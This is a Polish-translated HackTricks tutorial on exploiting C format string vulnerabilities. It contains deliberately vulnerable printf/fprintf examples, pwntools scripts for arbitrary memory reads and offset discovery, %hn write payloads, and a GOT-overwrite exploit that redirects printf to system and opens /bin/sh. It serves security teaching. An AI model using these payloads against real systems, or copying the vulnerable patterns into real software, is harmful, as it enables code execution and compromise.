Format Strings

Reading time: 8 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Podstawowe informacje

W C printf to funkcja, która może być używana do drukowania pewnego ciągu znaków. Pierwszym parametrem, którego oczekuje ta funkcja, jest surowy tekst z formatami. Następne parametry to wartości, które mają zastąpić formaty w surowym tekście.

Inne podatne funkcje to sprintf() i fprintf().

Vulnerabilność pojawia się, gdy tekst atakującego jest używany jako pierwszy argument tej funkcji. Atakujący będzie w stanie stworzyć specjalne dane wejściowe, które wykorzystują możliwości formatu printf do odczytu i zapisu dowolnych danych w dowolnym adresie (czytliwym/zapisywalnym). Dzięki temu będzie mógł wykonać dowolny kod.

Formatery:

bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Przykłady:

  • Przykład z luką:
c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normalne użycie:
c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Z brakującymi argumentami:
c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf podatny:
c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Dostęp do wskaźników

Format %<n>$x, gdzie n to liczba, pozwala wskazać printf, aby wybrał n parametr (ze stosu). Więc jeśli chcesz odczytać 4. parametr ze stosu używając printf, możesz to zrobić:

c
printf("%x %x %x %x")

i czytałbyś od pierwszego do czwartego parametru.

Lub mógłbyś zrobić:

c
printf("%4$x")

i przeczytaj bezpośrednio czwarty.

Zauważ, że atakujący kontroluje parametr printf, co zasadniczo oznacza, że jego dane wejściowe będą znajdować się na stosie, gdy printf zostanie wywołane, co oznacza, że mógłby zapisać konkretne adresy pamięci na stosie.

caution

Atakujący kontrolujący te dane wejściowe będzie w stanie dodać dowolny adres na stosie i sprawić, że printf uzyska do nich dostęp. W następnej sekcji zostanie wyjaśnione, jak wykorzystać to zachowanie.

Dowolne Odczytywanie

Możliwe jest użycie formatera %n$s, aby sprawić, że printf uzyska adres znajdujący się na n pozycji, a następnie wydrukuje go tak, jakby był ciągiem (drukuj, aż znajdziesz 0x00). Więc jeśli adres bazowy binarnego pliku to 0x8048000, a wiemy, że dane wejściowe użytkownika zaczynają się na 4. pozycji na stosie, możliwe jest wydrukowanie początku binarnego pliku za pomocą:

python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

caution

Zauważ, że nie możesz umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie obcięty na 0x00 na końcu tego adresu.

Znajdź offset

Aby znaleźć offset do swojego wejścia, możesz wysłać 4 lub 8 bajtów (0x41414141) następnie %1$x i zwiększać wartość, aż uzyskasz A's.

Brute Force printf offset
python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

Jak przydatne

Arbitralne odczyty mogą być przydatne do:

  • Zrzutu binarnego z pamięci
  • Dostępu do konkretnych części pamięci, gdzie przechowywane są wrażliwe informacje (jak kanarki, klucze szyfrowania lub niestandardowe hasła, jak w tym wyzwaniu CTF)

Arbitralne Zapis

Formatka %<num>$n zapisuje liczbę zapisanych bajtów w wskazanym adresie w parametrze <num> na stosie. Jeśli atakujący może zapisać tyle znaków, ile chce, za pomocą printf, będzie w stanie sprawić, że %<num>$n zapisze arbitralną liczbę w arbitralnym adresie.

Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia, aby to zrobić, można użyć formatki %.<num-write>%<num>$n, aby zapisać liczbę <num-write> w adresie wskazywanym przez pozycję num.

bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Jednakże, należy zauważyć, że zazwyczaj, aby zapisać adres taki jak 0x08049724 (co jest OGROMNĄ liczbą do zapisania na raz), używa się $hn zamiast $n. Pozwala to na zapisanie tylko 2 bajtów. Dlatego ta operacja jest wykonywana dwukrotnie, raz dla najwyższych 2B adresu, a drugi raz dla najniższych.

Dlatego ta luka pozwala na zapisanie czegokolwiek w dowolnym adresie (arbitralny zapis).

W tym przykładzie celem będzie nadpisanie adresu funkcji w tabeli GOT, która będzie wywoływana później. Chociaż można to wykorzystać w innych technikach arbitralnego zapisu do exec:

{{#ref}} ../arbitrary-write-2-exec/ {{#endref}}

Zamierzamy nadpisać funkcję, która otrzymuje swoje argumenty od użytkownika i wskazać ją na funkcję system.
Jak wspomniano, aby zapisać adres, zazwyczaj potrzebne są 2 kroki: najpierw zapisujesz 2 bajty adresu, a następnie kolejne 2. W tym celu używa się $hn.

  • HOB jest wywoływane dla 2 wyższych bajtów adresu
  • LOB jest wywoływane dla 2 niższych bajtów adresu

Następnie, z powodu działania formatu ciągu, musisz najpierw zapisać najmniejszy z [HOB, LOB], a potem drugi.

Jeśli HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Jeśli HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Szablon Pwntools

Możesz znaleźć szablon do przygotowania exploita dla tego rodzaju podatności w:

{{#ref}} format-strings-template.md {{#endref}}

Lub ten podstawowy przykład z tutaj:

python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings do BOF

Możliwe jest nadużycie działań zapisu w podatności na format string, aby zapisać w adresach stosu i wykorzystać podatność typu buffer overflow.

Inne Przykłady i Odniesienia

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks